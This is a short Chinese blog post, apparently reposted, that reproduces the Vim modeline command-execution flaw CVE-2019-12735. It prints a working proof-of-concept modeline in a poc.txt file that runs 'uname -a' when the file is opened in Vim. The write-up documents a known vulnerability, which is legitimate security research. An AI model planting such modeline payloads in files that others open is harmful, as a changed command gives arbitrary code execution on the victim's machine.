码迷,mamicode.com
首页 > 系统相关 > 详细

CVE-2019-12735 VIM命令执行漏洞利用

时间:2019-06-16 13:26:30      阅读:113      评论:0      收藏:0      [点我收藏+]

标签:lin   poc   结果   uname   word   ima   linux   版本   一点   

操作系统:Kali Linux

VIM版本:VIM - Vi IMproved 8.1.693 (2018 May 18, compiled Jan 05 2019 20:53:12)

因为vim默认关闭modeline,所以首先要手工设置modeline。

第1步:开启modeline

在用户家目录(如:/root/)下创建.vimrc文件,文件内容为:

set modeline

技术图片

第2步:创建poc.txt

创建poc.txt,文件内容为:

:!uname -a||" vi:fen:fdm=expr:fde=assert_fails("source\!\ \%"):fdl=0:fdt="

第3步:打开poc.txt

使用vim打开poc.txt即可看到uname命令的执行结果。

技术图片

这个漏洞比较鸡肋的一点就是vim默认不开启modeline,所以漏洞影响范围有一定局限性。

 

CVE-2019-12735 VIM命令执行漏洞利用

标签:lin   poc   结果   uname   word   ima   linux   版本   一点   

原文地址:https://www.cnblogs.com/dgjnszf/p/11002766.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!